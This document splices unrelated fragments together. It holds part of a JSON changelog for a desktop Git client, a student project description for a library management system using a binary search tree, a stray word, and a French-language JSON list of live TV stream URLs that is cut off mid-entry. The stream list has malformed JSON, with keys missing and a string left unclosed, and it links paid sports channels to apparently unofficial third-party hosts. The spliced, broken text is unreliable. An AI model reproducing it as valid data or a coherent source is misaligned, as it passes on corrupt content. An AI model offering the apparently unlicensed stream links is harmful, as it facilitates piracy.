"[Improved] Measure startup time more reliably - #1798", "[Improved] Prefer the GitHub repository name instead of the name on disk - #664" ], "0.5.8": [ "[Fixed] Switching tabs in Preferences/Settings or Repository Settings would close the dialog - #1724", "[Improved] Standardized colors which improves contrast and readability - #1713" ], "0.5.7": [ "[Fixed] Windows: Handle protocol events which launch the app - #1582", "[Fixed] Opting out of stats reporting in the Welcome flow - #1698", "[Fixed] Commit description text being too light - #1695", "[Fixed] Exception on startup if the app was activated too quickly - #1564", "[Improved] Default directory for cloning now - #1663", "[Improved] Accessibility support - #1289", "[Improved] Lovely blank slate illustrations - #1708" ], "0.5.6": [ "[Fixed] macOS: The buttons in the Untrusted Server dialog not doing anything - #1622", "[Fixed] Better warning in Rename Branch when the branch will be created with a different name than was entered - #1480", "[Fixed] Provide a tooltip for commit summaries in the History list - #1483", "[Fixed] Prevent the Update Available banner from getting squished - #1632", "[Fixed] Title bar not responding to double-clicks - #1590 #1655", "[Improved] Discard All Changes is now accessible by right-clicking the file column header - #1635" ], "0.5.5": [ "[Fixed] Save the default path after creating a new repository - #1486", "[Fixed] Only let the user launch the browser once for the OAuth flow - #1427", "[Fixed] Don't linkify invalid URLs - #1456", "[Fixed] Excessive padding in the Merge Branch dialog - #1577", "[Fixed] Octicon pixel alignment issues - #1584", "[Fixed] Windows: Invoking some menu items would break the window's snapped state - #1603", "[Fixed] macOS: Errors authenticating while pushing - #1514", "[Fixed] Don't linkify links in the History list or in Undo - #1548 #1608 #1474", "[Fixed] Diffs not working when certain git config values were set - #1559" ], "0.5.4": [ "[Fixed] The release notes URL pointed to the wrong page - #1503", "[Fixed] Only create the `logs` directory if it doesn't already exist - #1510", "[Fixed] Uncaught exception creating a new repository if you aren't a member of any orgs - #1507", "[Fixed] Only report the first uncaught exception - #1517", "[Fixed] Include the name of the default branch in the New Branch dialog - #1449", "[Fixed] Uncaught exception if a network error occurred while loading user email addresses - #1522 #1508", "[Fixed] Uncaught exception while performing a contextual menu action - #1532", "[Improved] Move all error logging to the main process - #1473", "[Improved] Stats reporting reliability - #1561" ], "0.5.3": [ "[Fixed] Display of large image diffs - #1494", "[Fixed] Discard Changes spacing - #1495" ], "0.5.2": [ "[Fixed] Display errors that happen while publishing a repository - #1396", "[Fixed] Menu items not updating - #1462", "[Fixed] Always select the first changed file - #1306", "[Fixed] macOS: Use Title Case consistently - #1477 #1481", "[Fixed] Create Branch padding - #1479", "[Fixed] Bottom padding in commit descriptions - #1345", "[Improved] Dialog polish - #1451", "[Improved] Store logs in a logs directory - #1370", "[Improved] New Welcome illustrations - #1471", "[Improved] Request confirmation before removing a repository - #1233", "[Improved] Windows icon polish - #1457" ], "0.5.1": [ "[New] Windows: A nice little gif while installing the app - #1440", "[Fixed] Disable pinch zoom - #1431", "[Fixed] Don't show carriage return indicators in diffs - #1444", "[Fixed] History wouldn't update after switching branches - #1446", "[Improved] Include more information in exception reports - #1429", "[Improved] Updated Terms and Conditions - #1438", "[Improved] Sub-pixel anti-aliasing in some lists - #1452", "[Improved] Windows: A new application identifier, less likely to collide with other apps - #1441" ], "0.5.0": [ "[Added] Menu item for showing the app logs - #1349", "[Fixed] Don't let the two-factor authentication dialog be submitted while it's empty - #1386", "[Fixed] Undo Commit showing the wrong commit - #1373", "[Fixed] Windows: Update the icon used for the installer - #1410", "[Fixed] Undoing the first commit - #1401", "[Fixed] A second window would be opened during the OAuth dance - #1382", "[Fixed] Don't include the comment from the default merge commit message - #1367", "[Fixed] Show progress while committing - #923", "[Fixed] Windows: Merge Branch sizing would be wrong on high DPI monitors - #1210", "[Fixed] Windows: Resize the app from the top left corner - #1424", "[Fixed] Changing the destination path for cloning a repository now appends the repository's name - #1408", "[Fixed] The blank slate view could be visible briefly when the app launched - #1398", "[Improved] Performance updating menu items - #1321", "[Improved] Windows: Dim the title bar when the app loses focus - #1189" ], "0.0.39": ["[Fixed] An uncaught exception when adding a user - #1394"], "0.0.38": [ "[New] Shiny new icon! - #1221", "[New] More helpful blank slate view - #871", "[Fixed] Don't allow Undo while pushing/pulling/fetching - #1047", "[Fixed] Updating the default branch on GitHub wouldn't be reflected in the app - #1028 #1314", "[Fixed] Long repository names would overflow their container - #1331", "[Fixed] Removed development menu items in production builds - #1031 #1251 #1323 #1340", "[Fixed] Create Branch no longer changes as it's animating closed - #1304", "[Fixed] Windows: Cut / Copy / Paste menu items not working - #1379", "[Improved] Show a better error message when the user tries to authenticate with a personal access token - #1313", "[Improved] Link to the repository New Issue page from the Help menu - #1349", "[Improved] Clone in Desktop opens the Clone dialog - #918" ], "0.0.37": [ "[Fixed] Better display of the 'no newline at end of file' indicator - #1253", "[Fixed] macOS: Destructive dialogs now use the expected button order - #1315", "[Fixed] Display of submodule paths - #785", "[Fixed] Incomplete stats submission - #1337", "[Improved] Redesigned welcome flow - #1254", "[Improved] App launch time - #1225", "[Improved] Handle uncaught exceptions - #1106" ], "0.0.36": [ "[Fixed] Bugs around associating an email address with a GitHub user - #975", "[Fixed] Use the correct reference name for an unborn branch - #1283", "[Fixed] Better diffs for renamed files - #980", "[Fixed] Typo in Create Branch - #1303", "[Fixed] Don't allow whitespace-only branch names - #1288", "[Improved] Focus ring polish - #1287", "[Improved] Less intrusive update notifications - #1136", "[Improved] Faster launch time on Windows - #1309", "[Improved] Faster git information refreshing - #1305", "[Improved] More consistent use of sentence case on Windows - #1316", "[Improved] Autocomplete polish - #1241" ], "0.0.35": [ "[New] Show push/pull/fetch progress - #1238", "[Fixed] macOS: Add the Zoom menu item - #1260", "[Fixed] macOS: Don't show the titlebar while full screened - #1247", "[Fixed] Windows: Updates would make the app unresponsive - #1269", "[Fixed] Windows: Keyboard navigation in menus - #1293", "[Fixed] Windows: Repositories list item not working - #1293", "[Fixed] Auto updater errors not being propagated properly - #1266", "[Fixed] Only show the current branch tooltip on the branches button - #1275", "[Fixed] Double path truncation - #1270", "[Fixed] Sometimes toggling a file's checkbox would get undone - #1248", "[Fixed] Uncaught exception when internet connectivity was lost - #1048", "[Fixed] Cloned repositories wouldn't be associated with their GitHub repository - #1285", "[Improved] Better performance on large repositories - #1281", "[Improved] Commit summary is now expandable when the summary is long - #519", "[Improved] The SHA in historical commits is now selectable - #1154", "[Improved] The Create Branch dialog was polished and refined - #1137" ], "0.0.34": [ "[New] macOS: Users can choose whether to accept untrusted certificates - #671", "[New] Windows: Users are prompted to install git when opening a shell if it is not installed - #813", "[New] Checkout progress is shown if branch switching takes a while - #1208", "[New] Commit summary and description are automatically populated for merge conflicts - #1228", "[Fixed] Cloning repositories while not signed in - #1163", "[Fixed] Merge commits are now created as merge commits - #1216", "[Fixed] Display of diffs with /r newline - #1234", "[Fixed] Windows: Maximized windows are no longer positioned slightly off screen - #1202", "[Fixed] JSON parse errors - #1243", "[Fixed] GitHub Enterprise repositories were not associated with the proper Enterprise repository - #1242", "[Fixed] Timestamps in the Branches list would wrap - #1255", "[Fixed] Merges created from pulling wouldn't use the right git author - #1262", "[Improved] Check for update errors are suppressed if they happen in the background - #1104, #1195", "[Improved] The shortcut to show the repositories list is now command or control-T - #1220", "[Improved] Command or control-W now closes open dialogs - #949", "[Improved] Less memory usage while parsing large diffs - #1235" ], "0.0.33": ["[Fixed] Update Now wouldn't update now - #1209"], "0.0.32": [ "[New] You can now disable stats reporting from Preferences > Advanced - #1120", "[New] Acknowledgements are now available from About - #810", "[New] Open pull requests from dot com in the app - #808", "[Fixed] Don't show background fetch errors - #875", "[Fixed] No more surprise and delight - #620", "[Fixed] Can't discard renamed files - #1177", "[Fixed] Logging out of one account would log out of all accounts - #1192", "[Fixed] Renamed files truncation - #695", "[Fixed] Git on Windows now integrates with the system certificate store - #706", "[Fixed] Cloning with an account/repoository shortcut would always fail - #1150", "[Fixed] OS version reporting - #1130", "[Fixed] Publish a new repository would always fail - #1046", "[Fixed] Authentication would fail for the first repository after logging in - #1118", "[Fixed] Don't flood the user with errors if a repository disappears on disk - #1132", "[Improved] The Merge dialog uses the Branches list instead of a drop down menu - #749", "[Improved] Lots of design polish - #1188, #1183, #1170, #1184, #1181, #1179, #1142, #1125" ], "0.0.31": [ "[New] Prompt user to login when authentication error occurs - #903", "[New] Windows application has a new app menu, replaces previous hamburger menu - #991", "[New] Refreshed colours to align with GitHub website scheme - #1077", "[New] Custom about dialog on all platforms - #1102", "[Fixed] Improved error handling when probing for a GitHub Enterprise server - #1026", "[Fixed] User can cancel 2FA flow - #1057", "[Fixed] Tidy up current set of menu items - #1063", "[Fixed] Manually focus the window when a URL action has been received - #1072", "[Fixed] Disable middle-click event to prevent new windows being launched - #1074", "[Fixed] Pre-fill the account name in the Welcome wizard, not login - #1078", "[Fixed] Diffs wouldn't work if an external diff program was configured - #1123", "[Improved] Lots of design polish work - #1113, #1099, #1094, #1077" ], "0.0.30": [ "[Fixed] Crash when invoking menu item due to incorrect method signature - #1041" ], "0.0.29": [ "[New] Commit summary and description fields now display issues and mentions as links for GitHub repositories - #941", "[New] Show placeholder when the repository cannot be found on disk - #946", "[New] New Repository actions moved out of popover and into new menu - #1018", "[Fixed] Display a helpful error message when an unverified user signs into GitHub Desktop - #1010", "[Fixed] Fix kerning issue when access keys displayed - #1033", "[Fixed] Protected branches show a descriptive error when the push is rejected - #1036", "[Fixed] 'Open in shell' on Windows opens to repository location - #1037" ], "0.0.28": ["[Fixed] Bumping release notes to test deployments again"], "0.0.27": [ "[Fixed] 2FA dialog when authenticating has information for SMS authentication - #1009", "[Fixed] Autocomplete for users handles accounts containing `-` - #1008" ], "0.0.26": [ "[Fixed] Address deployment issue by properly documenting release notes" ], "0.0.25": [ "[Added] Autocomplete displays user matches - #942", "[Fixed] Handle Enter key in repository and branch list when no matches exist - #995", "[Fixed] 'Add Repository' button displays in dropdown when repository list empty - #984", "[Fixed] Correct icon displayed for non-GitHub repository - #964 #955", "[Fixed] Enter key when inside dialog submits form - #956", "[Fixed] Updated URL handler entry on macOS - #945", "[Fixed] Commit button is disabled while commit in progress - #940", "[Fixed] Handle index state change when gitginore change is discarded - #935", "[Fixed] 'Create New Branch' view squashes branch list when expanded - #927", "[Fixed] Application creates repository path if it doesn't exist on disk - #925", "[Improved] Preferences sign-in flow updated to standalone dialogs - #961" ], "0.0.24": ["Changed a thing", "Added another thing"] } }
Our main objective in this project is to create a library management system wherein students can issue books and the admin or librarian can update/delete the record of books kept in the library. So we have the system into two parts : from user’s perspective and from admin’s perspective. First of all, the admin must login to handle the accounts where the username and password are already set. After he has logged in successfully, he can add, delete and update the books. He can add any new book in the already existing list of books. Similarly he can also delete any existing book. In the update option, the admin can update the quantity of books as well as the name of the book. As and when the admin adds the books, a binary search tree will be created where the nodes contain the name of books and are put in sorted order. Now if a student wants to issue/return any book, then he/she must login into the system, by enetering their valid university ID. The student will be allowed to issue/return only if their ID matches the list of university ID’s of students. When the student enters the name of book to be issued, that particular book will be searched by it’s name, in the already created binary search tree. If the book is not found in the tree, then a message will be printed “Book is not available in the library”. And if the book is out of stock, then this message will be printed, “This book is currently unavailable. Please try after some days.” Moreover, the student cannot issue more than 2 books simultaneously. When the student issues a book, the issuing date and time is recorded by the librarian. And if the student misses the due date of returning the book, then he has to pay that particular fine.
bermufine
{"categories":[{"name":"Movies","videos":[{"description":"La Radio-Télévision nationale congolaise est créée en 1945. Elle prend le nom de « Office zaïrois de radiodiffusion et de télévision (OZRT) » à l'époque du Zaïre de 1971 à 1997, elle était d'ailleurs la seule agence zaïroise à diffuser sur les ondes hertziennes depuis la loi de 1972. Elle a pris son nom actuel le 17 mai 1997, à la suite de l'arrivée au pouvoir d'AFDL, le parti de Laurent-Désiré Kabila.","sources":["http://178.33.237.146/rtnc1.m3u8"],"subtitle":"By Radio Télévision Nationale Congolaise","thumb":"https://od.lk/s/M18yNDU0Njk2MjZf/RTNC.jpegg","title":"RTNC"},{"description":"Tele Congo est une chaine nationale du congo brazza en diffusant des emissions, informations, sports, theatres, musique et autres....","sources":["https://stream.mmsiptv.com/droid/rtnc/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODYwMjFf/telecongo.jpg","title":"TELE CONGO TV / BRAZZAVILLE"},{"description":"Bein Sports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MzBf/beinone.png","title":"BEIN SPORT 1 / SPORTS"},{"description":"Bein Sport 2 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MThf/beintwo.png","title":"BEIN SPORT 2 / SPORTS"},{"description":"Bein Sport 3 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MDZf/beintree.png","title":"BEIN SPORTS 3 / SPORTS"},{"description":"La Radio-Télévision nationale congolaise est créée en 1945. Elle prend le nom de « Office zaïrois de radiodiffusion et de télévision (OZRT) » à l'époque du Zaïre de 1971 à 1997, elle était d'ailleurs la seule agence zaïroise à diffuser sur les ondes hertziennes depuis la loi de 1972. Elle a pris son nom actuel le 17 mai 1997, à la suite de l'arrivée au pouvoir d'AFDL, le parti de Laurent-Désiré Kabila.","sources":["https://stream.mmsiptv.com/droid/rtnc/playlist.m3u8"],"subtitle":"By Radio Télévision Nationale Congolaise","https://od.lk/s/M18yNDU0Nzc4NDZf/rtnc3.png","title":"RTNC 1 / RDC (lien2)"},{"description":"Canal Plus Sports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/cpsport/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODczMzhf/canalsport.png","title":"CANAL + 1 / SPORTS"},{"description":"Canal Plus Sports 2 est une chaine televisee sportives.","sources":["https://stream.mmsiptv.com/droid/cplus/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODczMzlf/canalsporttwoo.jpg","title":"CANAL + 2 / SPORTS"},{"description":"RMC 1 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2MjBf/rmcone.png","title":"RMC 1 / SPORTS"},{"description":"RMC 2 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2MzVf/rmctwo.png","title":"RMC 2 / SPORTS"},{"description":"RMC 3 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2NDVf/rmctree.png","title":"RMC 3 / SPORTS"},{"description":"RMC 4 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc4/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2NTFf/rmcfour.png","title":"RMC 4 / SPORTS"},{"description":"EuroSports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/eurosport2/playlist.m3u"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxOTlf/eurone.png","title":"EUROSPORTS 1 / SPORTS"},{"description":"EuroSports 2 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/eurosport1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxNTdf/eurotwo.jpg","title":"EUROSPORTS 2 / SPORTS"},{"description":"EuroSports 3 est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/eurosport1.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxODJf/eurotree.jpg","title":"EUROSPORTS 3 / SPORTS"},{"description":"EuroSports 4 est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/es-eurosport2.stream/playlist.m3u8"],"subtitle":"By Channel","https://od.lk/s/M18yNTkxODgxMzJf/eurofour.png","title":"EUROSPORTS 4 / SPORTS"},{"description":"L'Equipe est une chaine televisee sportives emettant en France","sources":["https://stream.mmsiptv.com/droid/equipe/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg0ODhf/equipe.png","title":"L'EQUIPE TV / SPORTS"},{"description":"Sky Sport est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/skysports-premier-league.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg2MjNf/skysport.jpg","title":"SKY SPORTS / SPORTS"},{"description":"Azam Sports 1 Tanzanie est l'une des chaines privées que l'on retrouve en tanzanie, possédant des émissions Sportives variées","sources":["https://1446000130.rsc.cdn77.org/1446000130/index.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1NzQwMjJf/azam.jpg","title":"AZAM SPORTS / TANZANIA"},{"description":"ADSPORTS 1 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn1.cdn.mangomolo.com/adsports1/smil:adsports1.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg4OTlf/adone.jpg","title":"ADSPORTS 1 / SPORTS"},{"description":"ADSPORTS 2 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn5.cdn.mangomolo.com/adsports2/smil:adsports2.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg5MjFf/adtwo.jpg","title":"ADSPORTS 2 / SPORTS"},{"description":"ADSPORTS 3 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn3.cdn.mangomolo.com/adsports3/smil:adsports3.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg5NTBf/adtree.jpg","title":"ADSPORTS 3 / SPORTS"},{"description":"MAV TV est une chaine televisee sportives emettant a Dubai","sources":["https://mavtv-mavtvglobal-1-gb.samsung.wurl.com/manifest/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODkzNTZf/mavtv.png","title":"MAV TV / SPORTS"},{"description":"NollyWood TV est une chaine televisee qui diffuse que des film et series Africains surtout beaucoup plus nigerians","sources":["https://stream.mmsiptv.com/droid/nollywoodfr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODk3MDhf/nollywood.jpg","title":"NOLLYWOOD TV / NOVELAS"},{"description":"AfricaWood TV est une chaine televisee qui diffuse que des film et series Africains surtout beaucoup plus nigerians","sources":["https://stream.mmsiptv.com/droid/africawood/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1Nzc2ODJf/vision4.jpg","title":"AFRICAWOOD TV / NOVELAS"},{"description":"NOVELAS TV 1 est une chaine televisee qui diffuse que des series mexicaines, bresiliens, phillipinesn et autres....","sources":["https://stream.mmsiptv.com/droid/novelas/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxOTAwMDFf/novelasone.jpg","title":"NOVELAS TV 1 / SERIE"},{"description":"RTI 2 est une chaine televisee ivoiriens qui diffuse que des informations, musiques, series mexicaines, bresiliens, phillipinesn et autres....","sources":["https://stream.mmsiptv.com/droid/rti2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4NDdf/rtid.jpg","title":"RTI 2 / COTE D'IVOIRE"},{"description":"NOVELAS TV est la chaine qui diffuset des Series Mexicaines, Philipiennes et Bresiliennes....","sources":["https://stormcast-telenovelatv-1-fr.samsung.wurl.com/manifest/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjA4MDVf/novelastv.jpg","title":"NOVELAS TV{"description":"NW INFOS est la chaine du togo en diffusant des Informations Emissions et autres....","sources":["https://hls.newworldtv.com/nw-info/video/live_1024x576.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY0NzNf/nwInfos.jpg","title":"NW INFOS TV / TOGO"},{"description":"NW Muzik est la chaine du togo en diffusant des musiques Africaine et autres....","sources":["https://hls.newworldtv.com/nw-muzik/video/live_1024x576.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY0NTZf/nwMuzik.webp","title":"NW MUZIK TV / TOGO"},{"description":"Al Hadath est la chaine du Lybie en diffusant des Emissions ainsi que des infos, musique et autres....","sources":["https://master.starmena-cloud.com/hls/hd.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjcxNDBf/alhad.png","title":"AL HADATH TV / LYBIE"},{"description":"Vox Of Africa est la chaine des americains qui emette a Brazzaville en diffusant des informations et autres....","sources":["https://voa-lh.akamaihd.net/i/voa_mpls_tvmc3_3@320295/master.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY1NDFf/VOX_AFRICA.jpg","title":"VOX OF AFRICA TV"},{"description":"Resurrection TV est l'une des chaines privées Chretienne que l'on retrouve dans la ville d'ACCRA, possédant des émissions variées","sources":["http://rtmp.ottdemo.rrsat.com/rrsatrtv1/rrsatrtvmulti.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1NzczODRf/mychannel.jpg","title":"RESURRECTION TV / GHANA"},{"description":"CDIRECT TV est la chaîne une chaîne généraliste présente une vitrine positive du Congo, conçoit des programmes inédits et innovants qui s'adressent aux congolais résidents, la diaspora congolaise, ainsi qu'à l'ensemble des africains francophones à travers le monde entier. Sa ligne éditoriale est axée sur les deux Congo décomplexé, un Congo qui va de l'avant et gagne !.","sources":["http://cms-streamaniak.top/Cdirect/CDIRECT/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdirect.tv/assets/img/logo-cdirect.ico","title":"CDIRECT TV / Kinshasa-Brazzaville"},{"description":"DBM TV ou digital black Music est une Chaîne TV à thématique musicale, DBM a pour vocation de révéler et promouvoir la musique Afro Urbaine, qu’elle soit d’Afrique ou d’ailleurs info@dbm-tv.com. .","sources":["https://dbmtv.vedge.infomaniak.com/livecast/smil:dbmtv.smil/manifest.m3u8"],"subtitle":"By Channel","thumb":"https://www.dbm-tv.fr/wp-content/uploads/2017/12/logo-dbm.png","title":"DBM TV / Music "},{"description":"La LUMIÈRE, ministère Chrétien pour annoncer l’évangile de Jésus Christ partout dans le monde, toucher changer et sauver des vies par la puissance de la parole de DIEU avec des enseignements prédications adorations louanges partages de prières, d’exhortations et de témoignages","sources":["https://video1.getstreamhosting.com:1936/8248/8248/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.shortpixel.ai/client/q_glossy,ret_img,w_124,h_124/https://telepack.net/wp-content/uploads/2020/05/lumiere-tv.png","title":"La Lumiere TV / Gospel"},{"description":"La Télévision Togolaise (TVT) est le nom de l'unique chaîne de télévision publique togolaise, Crée depuis 1979.","sources":["http://54.38.92.12/tvt.m3u8"],"subtitle":"By Google","thumb":"https://amp.live-tv-channels.org/pt-data/uploads/logo/tg-tv.jpg","title":"Télévision Togolais"},{"description":"CRTV est un service de radio et de télévision contrôlé par le gouvernement au Cameroun. Cela a commencé sous le nom de Cameroon Television (CTV) et a ensuite fusionné avec le service de radio pour devenir CRTV. Il couvre l'ensemble des dix régions du Cameroun, ce qui en fait le diffuseur indomptable parmi plusieurs chaînes de télévision privées du pays. Sa couverture des événements est généralement considérée comme pro-gouvernementale. Les programmes de la CRTV comprennent des documentaires, des magazines, des analyses d'actualités et des séries importées d'Asie et du Brésil..","sources":["http://178.33.237.146/crtv.m3u8"],"subtitle":"By Channel","thumb":"http://www.cameroonconcordnews.com/wp-content/uploads/2018/03/CRTV-new.jpg","title":"Cameroune Radio Télévision"},{"description":"Impact TV c'est une premiere Chaine televisee chretienne diffusant au Burkina-Fasso sur satelite innauguree le 07/03/2008 par Marie Sophie.","sources":["https://edge10.vedge.infomaniak.com/livecast/impacttele/chunklist_w973675047.m3u8"],"subtitle":"By Channel","thumb":"https://i1.wp.com/www.livetvliveradio.com/wp-content/uploads/2017/07/impact-tv.jpg?fit=259%2C194","title":"Impact TV / Burkina Fasso"},{"description":"Kigali Channel 2 ( Là pour vous) est une chaine televisee Rwandaise emmetant a Kigali. KC2 se diversite par sa diffusion des emitions exceptionnelle ainsi que des films nouveautes et plein d'autres.","sources":["https://5c46fa289c89f.streamlock.net/kc2/kc2/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcQfQjI8jUhMPReWg0MOdw1xpAAXMP7YAuZKBg&usqp=CAU","title":"KC2 TV / Rwanda"},{"description":"Equinox est une chaîne de télévision basée au Cameroun. Peu de temps après son lancement, il est devenu l'un des critiques les plus virulents du régime de Paul Biya. La station était connue pour avoir diffusé des images en direct d'une manifestation politique contre le changement constitutionnel au Cameroun qui favorisait le maintien au pouvoir du président Biya après 2011, alors qu'il lui était interdit par la Constitution de se présenter à nouveau. La télévision appartient au magnat des affaires de la région ouest du Cameroun, Severin Tchounke, qui possède également un quotidien critique, La Nouvelle Expression.","sources":["http://178.33.237.146/equinoxetv.m3u8"],"subtitle":"By Channel","thumb":"https://camer-press.com/wp-content/uploads/2020/04/Equinoxe-Tv.jpg","title":"Equinoxetv"},{"description":"Rwanda Télévision (RTV) est la premiere chaîne public du Rwanda qui fournit des informations et des divertissements quotidiens au public rwandais en trois langues: anglais, français et kinyarwanda géré par l'industrie de la télévision rwandaise , mais ce derniere est composée de 12 chaînes de télévision dont 84% télévisions sont détenues par des privés (10 sur 12) tandis que 8% appartiennent respectivement à des organisations publiques et religieuses. L'Agence nationale de radiodiffusion rwandaise.","sources":["https://5c46fa289c89f.streamlock.net/rtv/rtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://maps.prodafrica.com/wp-content/uploads/2020/03/10191_RBA_002.png","title":"RTV"},{"description":"IBN TV est un radiodiffuseur islamique de télévision et de radio qui transmet IBN TV et Radio Maarifa de Dar es Salaam et Tanga respectivement. Il a été crée sous la direction de la Fondation Al Itrah et a été diffusé officiellement depuis Mars 2003. IBN TV est un média privé qui a commencé après la libéralisation de l’industrie des médias en Tanzanie. IBN TV est la première chaîne islamique en Tanzanie. Il couvre presque toute la région de Dar es Salaam, Tanga, Arusha et Mwanza. IBN TV diffuse en quatre langues différentes, à savoir l’anglais, le swahili, le gujarati et l’ourdou.","sources":["http://138.68.138.119:8080/low/5a8993709ea19/index.m3u8"],"subtitle":"By Channel","thumb":"http://www.alitrah.co.tz/wp-content/uploads/sites/3/2015/10/ibntvafrica.png","title":"IBN TV"},{"description":"RTB est une chaîne de télévision publique générale dirigée par l’Établissement public d’État. Son siège social est situé dans la capitale du Burkina Faso, à Ouagadougou. Il est diffusé en direct à la télévision terrestre et sur Internet. Cette chaîne africaine diffuse des nouvelles télévisées en Français. Mais en général, les flashs de nouvelles sont dans la langue nationale comme Lobiri, Bwamu, Gulmancéma ainsi que Bissa. RTB offre un programme avec de nombreux magazines sur le sport, l’économie, la culture, la santé et la jeunesse.","sources":["https://edge8.vedge.infomaniak.com/livecast/ik:rtbtvlive1/manifest.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/en/c/c0/RTB_Sukmaindera.png","title":"Radio Television Burkina Fasso"},{"description":"Eri-TV est une chaîne de télévision érythréenne appartenant à l'État. Basée dans la capitale du pays, Asmara, elle diffuse 24 heures sur 24. La station propose des bulletins d'information 24 heures sur 24, des émissions-débats et des programmes culturels et éducatifs. Eri-TV a une large base d'audience en dehors de l'Érythrée, que la chaîne publique reconnaît et utilise pour communiquer avec les Érythréens vivant à l'étranger. Le réseau compte environ 1 à 2 millions de téléspectateurs par semaine. Eri-TV reconnaît la culture minoritaire érythréenne et a largement adopté un partage de temps égal entre chacune des langues parlées du pays.","sources":["http://217.182.137.206/eri.m3u8"],"subtitle":"By Channel","thumb":"https://eri.tv/images/eri-tv-live.png","title":"ERITRIE TV"},{"description":"Créée au Sénégal par le GROUPE D-MEDIA, SENTV, 1ère Chaîne Urbaine au Sénégal, consacre sa programmation au traitement de l'actualité nationale et internationale et à la culture urbaine sénégalaise et africaine en générale. Elle émet sur hertzien depuis 2009 et est désormais disponible sur satellite via le bouquet Canal + Afrique et les bouquets IPTV à l'international. Une chaîne généraliste et orientée urbaine, constituant ainsi une offre originale et unique au Sénégal. Une part importante de ses programmes est constituée par des rendez-vous d’actualité sur une rythmique quotidienne et des émissions phares orientées Société et Divertissement.","sources":["http://46.105.114.82/tfm_senegal.m3u8"],"subtitle":"By Channel","thumb":"https://www.xalat.info/wp-content/uploads/2019/02/maxresdefault-2.jpg","title":"SENEGAL TV"},{"description":"RTB diffuse des emissions ainsi que les Sports, Musique, Culture et Films d'Action.","sources":["http://46.105.114.82/rtb1.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/bf-rtb-tv-8682.jpg","title":"RTB"},{"description":"LEEEKO est un ensemble de médias web radio et tv, créé le 1er Decembre 2016 par Serges OLUBI, passionné de musiques. LEEEKO diffuse une diversité des musique telsque: Rhumba, Zouk, Ndombolo, Rnb, Classic, Jazz et autres à travers l'Afrique.","sources":["http://livetvsteam.com:1935/leeeko/leeeko/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://is2-ssl.mzstatic.com/image/thumb/Purple113/v4/c9/76/95/c9769524-8604-49ac-108e-efca1d025a99/source/512x512bb.jpg","title":"LEEKO MUSIQUE TV"},{"description":"La Radio Télévision Guinéenne (RTG), l’un des premiers organes de presse public du pays, est absente dans plusieurs villes de l’intérieur du pays. Et ce après 42 ans depuis sa création. Par endroits, les signaux de la RTG sont totalement absents depuis plusieurs 